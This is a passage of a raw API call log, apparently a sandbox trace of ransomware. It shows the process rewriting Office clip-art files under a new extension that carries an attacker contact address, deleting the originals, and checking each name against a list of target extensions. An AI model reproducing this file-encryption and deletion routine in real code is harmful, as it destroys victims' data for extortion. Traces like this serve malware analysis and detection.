	[0173.277] CloseHandle (hObject=0x554) returned 1
	[0173.277] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107026.wmf")) returned 0x220
	[0173.277] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107026.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0173.277] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107026.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0173.278] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.278] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.278] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107026.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0173.278] GetLastError () returned 0x0
	[0173.278] ReadFile (in: hFile=0x554, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x1dd0, lpOverlapped=0x0) returned 1
	[0173.280] WriteFile (in: hFile=0x558, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0x1de0, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0x1de0, lpOverlapped=0x0) returned 1
	[0173.281] ReadFile (in: hFile=0x554, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.281] WriteFile (in: hFile=0x558, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0173.281] SetEndOfFile (hFile=0x558) returned 1
	[0173.282] CloseHandle (hObject=0x558) returned 1
	[0173.282] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.282] SetEndOfFile (hFile=0x554) returned 1
	[0173.284] CloseHandle (hObject=0x554) returned 1
	[0173.285] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0173.285] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107026.wmf")) returned 1
	[0173.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68
	[0173.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68
	[0173.286] lstrlenW (lpString=".doc") returned 4
	[0173.286] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0173.286] lstrlenW (lpString=".docx") returned 5
	[0173.286] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0173.286] lstrlenW (lpString=".pdf") returned 4
	[0173.286] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0173.286] lstrlenW (lpString=".xls") returned 4
	[0173.286] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0173.286] lstrlenW (lpString=".xlsx") returned 5
	[0173.286] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0173.286] lstrlenW (lpString=".ppt") returned 4
	[0173.286] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0173.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68
	[0173.286] lstrlenW (lpString=".zip") returned 4
	[0173.286] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0173.286] lstrlenW (lpString=".rar") returned 4
	[0173.286] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0173.286] lstrlenW (lpString=".bz2") returned 4
	[0173.286] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0173.286] lstrlenW (lpString=".7z") returned 3
	[0173.286] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0173.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68
	[0173.286] lstrlenW (lpString=".dbf") returned 4
	[0173.286] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0173.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68
	[0173.286] lstrlenW (lpString=".1cd") returned 4
	[0173.286] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0173.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68
	[0173.286] lstrlenW (lpString=".jpg") returned 4
	[0173.286] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0173.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68
	[0173.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68
	[0173.287] lstrlenW (lpString=".doc") returned 4
	[0173.287] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0173.287] lstrlenW (lpString=".docx") returned 5
	[0173.287] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0173.287] lstrlenW (lpString=".pdf") returned 4
	[0173.287] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0173.287] lstrlenW (lpString=".xls") returned 4
	[0173.287] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0173.287] lstrlenW (lpString=".xlsx") returned 5
	[0173.287] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0173.287] lstrlenW (lpString=".ppt") returned 4
	[0173.287] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0173.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68
	[0173.287] lstrlenW (lpString=".zip") returned 4
	[0173.287] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0173.287] lstrlenW (lpString=".rar") returned 4
	[0173.287] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0173.287] lstrlenW (lpString=".bz2") returned 4
	[0173.287] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0173.287] lstrlenW (lpString=".7z") returned 3
	[0173.287] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0173.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68
	[0173.287] lstrlenW (lpString=".dbf") returned 4
	[0173.287] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0173.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68
	[0173.287] lstrlenW (lpString=".1cd") returned 4
	[0173.287] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0173.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68
	[0173.287] lstrlenW (lpString=".jpg") returned 4
	[0173.287] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0173.288] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0173.288] lstrlenW (lpString="J0107042.WMF") returned 12
	[0173.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107042.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0173.288] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=9048) returned 1
	[0173.288] CloseHandle (hObject=0x554) returned 1
	[0173.289] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107042.wmf")) returned 0x220
	[0173.289] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107042.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0173.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107042.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0173.289] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.289] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107042.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0173.290] GetLastError () returned 0x0
	[0173.290] ReadFile (in: hFile=0x554, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x2358, lpOverlapped=0x0) returned 1
	[0173.411] WriteFile (in: hFile=0x558, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0x2360, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0x2360, lpOverlapped=0x0) returned 1
	[0173.431] ReadFile (in: hFile=0x554, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.431] WriteFile (in: hFile=0x558, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0173.432] SetEndOfFile (hFile=0x558) returned 1
	[0173.433] CloseHandle (hObject=0x558) returned 1
	[0173.433] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.433] SetEndOfFile (hFile=0x554) returned 1
	[0173.439] CloseHandle (hObject=0x554) returned 1
	[0173.439] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0173.631] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107042.wmf")) returned 1
	[0173.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68
	[0173.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68
	[0173.645] lstrlenW (lpString=".doc") returned 4
	[0173.645] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0173.645] lstrlenW (lpString=".docx") returned 5
	[0173.645] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0173.645] lstrlenW (lpString=".pdf") returned 4
	[0173.645] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0173.645] lstrlenW (lpString=".xls") returned 4
	[0173.645] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0173.645] lstrlenW (lpString=".xlsx") returned 5
	[0173.645] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0173.646] lstrlenW (lpString=".ppt") returned 4
	[0173.646] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0173.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68
	[0173.646] lstrlenW (lpString=".zip") returned 4
	[0173.646] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0173.646] lstrlenW (lpString=".rar") returned 4
	[0173.646] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0173.646] lstrlenW (lpString=".bz2") returned 4
	[0173.646] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0173.646] lstrlenW (lpString=".7z") returned 3
	[0173.646] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0173.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68
	[0173.646] lstrlenW (lpString=".dbf") returned 4
	[0173.646] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0173.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68
	[0173.646] lstrlenW (lpString=".1cd") returned 4
	[0173.646] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0173.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68
	[0173.646] lstrlenW (lpString=".jpg") returned 4
	[0173.646] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0173.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68
	[0173.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68
	[0173.646] lstrlenW (lpString=".doc") returned 4
	[0173.646] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0173.646] lstrlenW (lpString=".docx") returned 5
	[0173.646] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0173.646] lstrlenW (lpString=".pdf") returned 4
	[0173.646] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0173.646] lstrlenW (lpString=".xls") returned 4
	[0173.646] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0173.646] lstrlenW (lpString=".xlsx") returned 5
	[0173.646] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0173.646] lstrlenW (lpString=".ppt") returned 4
	[0173.646] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0173.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68
	[0173.647] lstrlenW (lpString=".zip") returned 4
	[0173.647] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0173.647] lstrlenW (lpString=".rar") returned 4
	[0173.647] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0173.647] lstrlenW (lpString=".bz2") returned 4
	[0173.647] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0173.647] lstrlenW (lpString=".7z") returned 3
	[0173.647] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0173.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68
	[0173.647] lstrlenW (lpString=".dbf") returned 4
	[0173.647] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0173.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68
	[0173.647] lstrlenW (lpString=".1cd") returned 4
	[0173.647] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0173.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68
	[0173.647] lstrlenW (lpString=".jpg") returned 4
	[0173.647] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0173.647] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0173.647] lstrlenW (lpString="J0107150.WMF") returned 12
	[0173.647] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107150.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0173.648] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=13456) returned 1
	[0173.648] CloseHandle (hObject=0x550) returned 1
	[0173.648] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107150.wmf")) returned 0x220
	[0173.648] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107150.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0173.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107150.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0173.649] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.649] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107150.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0173.650] GetLastError () returned 0x0
	[0173.650] ReadFile (in: hFile=0x550, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x3490, lpOverlapped=0x0) returned 1
	[0173.652] WriteFile (in: hFile=0x4a8, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0x34a0, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0x34a0, lpOverlapped=0x0) returned 1
	[0173.653] ReadFile (in: hFile=0x550, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.653] WriteFile (in: hFile=0x4a8, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0173.653] SetEndOfFile (hFile=0x4a8) returned 1
	[0173.653] CloseHandle (hObject=0x4a8) returned 1
	[0173.653] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.653] SetEndOfFile (hFile=0x550) returned 1
	[0173.657] CloseHandle (hObject=0x550) returned 1
	[0173.657] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0173.658] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107150.wmf")) returned 1
	[0173.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68
	[0173.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68
	[0173.659] lstrlenW (lpString=".doc") returned 4
	[0173.659] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0173.660] lstrlenW (lpString=".docx") returned 5
	[0173.660] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0173.660] lstrlenW (lpString=".pdf") returned 4
	[0173.660] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0173.660] lstrlenW (lpString=".xls") returned 4
	[0173.660] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0173.660] lstrlenW (lpString=".xlsx") returned 5
	[0173.660] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0173.660] lstrlenW (lpString=".ppt") returned 4
	[0173.660] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0173.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68
	[0173.660] lstrlenW (lpString=".zip") returned 4
	[0173.660] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0173.660] lstrlenW (lpString=".rar") returned 4
	[0173.660] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0173.660] lstrlenW (lpString=".bz2") returned 4
	[0173.660] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0173.660] lstrlenW (lpString=".7z") returned 3
	[0173.660] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0173.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68
	[0173.660] lstrlenW (lpString=".dbf") returned 4
	[0173.660] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0173.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68
	[0173.660] lstrlenW (lpString=".1cd") returned 4
	[0173.660] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0173.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68
	[0173.660] lstrlenW (lpString=".jpg") returned 4
	[0173.660] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0173.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68
	[0173.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68
	[0173.661] lstrlenW (lpString=".doc") returned 4
	[0173.661] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0173.661] lstrlenW (lpString=".docx") returned 5
	[0173.661] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0173.661] lstrlenW (lpString=".pdf") returned 4
	[0173.661] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0173.661] lstrlenW (lpString=".xls") returned 4
	[0173.661] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0173.661] lstrlenW (lpString=".xlsx") returned 5
	[0173.661] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0173.661] lstrlenW (lpString=".ppt") returned 4
	[0173.661] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0173.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68
	[0173.661] lstrlenW (lpString=".zip") returned 4
	[0173.661] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0173.661] lstrlenW (lpString=".rar") returned 4
	[0173.661] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0173.661] lstrlenW (lpString=".bz2") returned 4
	[0173.661] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0173.661] lstrlenW (lpString=".7z") returned 3
	[0173.661] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0173.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68
	[0173.661] lstrlenW (lpString=".dbf") returned 4
	[0173.661] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0173.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68
	[0173.661] lstrlenW (lpString=".1cd") returned 4
	[0173.661] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0173.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68
	[0173.661] lstrlenW (lpString=".jpg") returned 4
	[0173.661] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0173.661] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0173.662] lstrlenW (lpString="J0107152.WMF") returned 12
	[0173.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107152.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
